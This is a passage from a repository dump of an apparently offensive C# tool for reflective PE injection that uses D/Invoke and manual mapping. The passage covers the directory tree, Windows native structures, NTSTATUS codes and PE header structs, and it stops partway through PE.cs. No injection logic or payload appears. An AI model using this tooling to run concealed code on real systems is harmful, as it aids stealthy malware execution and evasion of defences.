Repository: cpu0x00/SharpReflectivePEInjection
Branch: main
Commit: bdcc859047a4
Files: 15
Total size: 241.0 KB
Directory structure:
gitextract_h19lhkuc/
├── App.config
├── DInvoke.Data/
│ ├── Native.cs
│ ├── PE.cs
│ └── Win32.cs
├── DInvoke.DynamicInvoke/
│ ├── Generic.cs
│ ├── Native.cs
│ ├── Utilities.cs
│ └── Win32.cs
├── DInvoke.ManualMap/
│ ├── Map.cs
│ └── Overload.cs
├── Program.cs
├── Properties/
│ └── AssemblyInfo.cs
├── README.md
├── SharpReflectivePEInjection.csproj
└── SharpReflectivePEInjection.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: App.config
================================================
================================================
FILE: DInvoke.Data/Native.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
///
/// Native is a library of enums and structures for Native (NtDll) API functions.
///
///
/// A majority of this library is adapted from signatures found at www.pinvoke.net.
///
public static class Native
{
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct ANSI_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public int InheritedFromUniqueProcessId;
public int Size
{
get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public IntPtr RootDirectory;
public IntPtr ObjectName; // -> UNICODE_STRING
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct IO_STATUS_BLOCK
{
public IntPtr Status;
public IntPtr Information;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEX
{
public uint OSVersionInfoSize;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string CSDVersion;
public ushort ServicePackMajor;
public ushort ServicePackMinor;
public ushort SuiteMask;
public byte ProductType;
public byte Reserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
public enum MEMORYINFOCLASS : int
{
MemoryBasicInformation = 0,
MemoryWorkingSetList,
MemorySectionName,
MemoryBasicVlmInformation
}
public enum PROCESSINFOCLASS : int
{
ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
ProcessIoCounters, // q: IO_COUNTERS
ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
ProcessTimes, // q: KERNEL_USER_TIMES
ProcessBasePriority, // s: KPRIORITY
ProcessRaisePriority, // s: ULONG
ProcessDebugPort, // q: HANDLE
ProcessExceptionPort, // s: HANDLE
ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
ProcessLdtInformation, // 10
ProcessLdtSize,
ProcessDefaultHardErrorMode, // qs: ULONG
ProcessIoPortHandlers, // (kernel-mode only)
ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
ProcessWx86Information,
ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
ProcessAffinityMask, // s: KAFFINITY
ProcessPriorityBoost, // qs: ULONG
ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
ProcessWow64Information, // q: ULONG_PTR
ProcessImageFileName, // q: UNICODE_STRING
ProcessLUIDDeviceMapsEnabled, // q: ULONG
ProcessBreakOnTermination, // qs: ULONG
ProcessDebugObjectHandle, // 30, q: HANDLE
ProcessDebugFlags, // qs: ULONG
ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
ProcessIoPriority, // qs: ULONG
ProcessExecuteFlags, // qs: ULONG
ProcessResourceManagement,
ProcessCookie, // q: ULONG
ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
ProcessPagePriority, // q: ULONG
ProcessInstrumentationCallback, // 40
ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
ProcessImageFileNameWin32, // q: UNICODE_STRING
ProcessImageFileMapping, // q: HANDLE (input)
ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
ProcessGroupInformation, // q: USHORT[]
ProcessTokenVirtualizationEnabled, // s: ULONG
ProcessConsoleHostProcess, // q: ULONG_PTR
ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
MaxProcessInfoClass
};
///
/// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html
///
public enum NT_CREATION_FLAGS : ulong
{
CREATE_SUSPENDED = 0x00000001,
SKIP_THREAD_ATTACH = 0x00000002,
HIDE_FROM_DEBUGGER = 0x00000004,
HAS_SECURITY_DESCRIPTOR = 0x00000010,
ACCESS_CHECK_IN_TARGET = 0x00000020,
INITIAL_THREAD = 0x00000080
}
///
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
///
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
}
}
================================================
FILE: DInvoke.Data/PE.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
///
/// Holds data structures for using PEs.
///
public static class PE
{
// DllMain constants
public const UInt32 DLL_PROCESS_DETACH = 0;
public const UInt32 DLL_PROCESS_ATTACH = 1;
public const UInt32 DLL_THREAD_ATTACH = 2;
public const UInt32 DLL_THREAD_DETACH = 3;
// Primary class for loading PE
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved);
[Flags]
public enum DataSectionFlags : uint
{
TYPE_NO_PAD = 0x00000008,
CNT_CODE = 0x00000020,
CNT_INITIALIZED_DATA = 0x00000040,
CNT_UNINITIALIZED_DATA = 0x00000080,
LNK_INFO = 0x00000200,
LNK_REMOVE = 0x00000800,
LNK_COMDAT = 0x00001000,
NO_DEFER_SPEC_EXC = 0x00004000,
GPREL = 0x00008000,
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000,
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000,
MEM_DISCARDABLE = 0x02000000,
MEM_NOT_CACHED = 0x04000000,
MEM_NOT_PAGED = 0x08000000,
MEM_SHARED = 0x10000000,
MEM_EXECUTE = 0x20000000,
MEM_READ = 0x40000000,
MEM_WRITE = 0x80000000
}
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_EXPORT_DIRECTORY
{
[FieldOffset(0)]
public UInt32 Characteristics;
[FieldOffset(4)]
public UInt32 TimeDateStamp;
[FieldOffset(8)]
public UInt16 MajorVersion;
[FieldOffset(10)]
public UInt16 MinorVersion;
[FieldOffset(12)]
public UInt32 Name;
[FieldOffset(16)]
public UInt32 Base;
[FieldOffset(20)]
public UInt32 NumberOfFunctions;
[FieldOffset(24)]
public UInt32 NumberOfNames;
[FieldOffset(28)]
public UInt32 AddressOfFunctions;
[FieldOffset(32)]
public UInt32 AddressOfNames;
[FieldOffset(36)]
public UInt32 AddressOfOrdinals;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[StructLayout(LayoutKind.Sequential)]
public struct PE_META_DATA
{
public UInt32 Pe;
public Boolean Is32Bit;
public IMAGE_FILE_HEADER ImageFileHeader;
public IMAGE_OPTIONAL_HEADER32 OptHeader32;
public IMAGE_OPTIONAL_HEADER64 OptHeader64;
public IMAGE_SECTION_HEADER[] Sections;
}
[StructLayout(LayoutKind.Sequential)]
public struct PE_MANUAL_MAP
{
public String DecoyModule;
public IntPtr ModuleBase;
public PE_META_DATA PEINFO;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_THUNK_DATA32
{
[FieldOffset(0)]
public UInt32 ForwarderString;
[FieldOffset(0)]
public UInt32 Function;
[FieldOffset(0)]
public UInt32 Ordinal;
[FieldOffset(0)]
public UInt32 AddressOfData;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_THUNK_DATA64
{
[FieldOffset(0)]
public UInt64 ForwarderString;
[FieldOffset(0)]
public UInt64 Function;
[FieldOffset(0)]
public UInt64 Ordinal;
[FieldOffset(0)]
public UInt64 AddressOfData;
}
[StructLayout(LayoutKind.Explicit)]
public struct ApiSetNamespace
{
[FieldOffset(0x0C)]
public int Count;
[FieldOffset(0x10)]
public int EntryOffset;
}
[StructLayout(LayoutKind.Explicit, Size = 24)]
public struct ApiSetNamespaceEntry
{
[FieldOffset(0x04)]
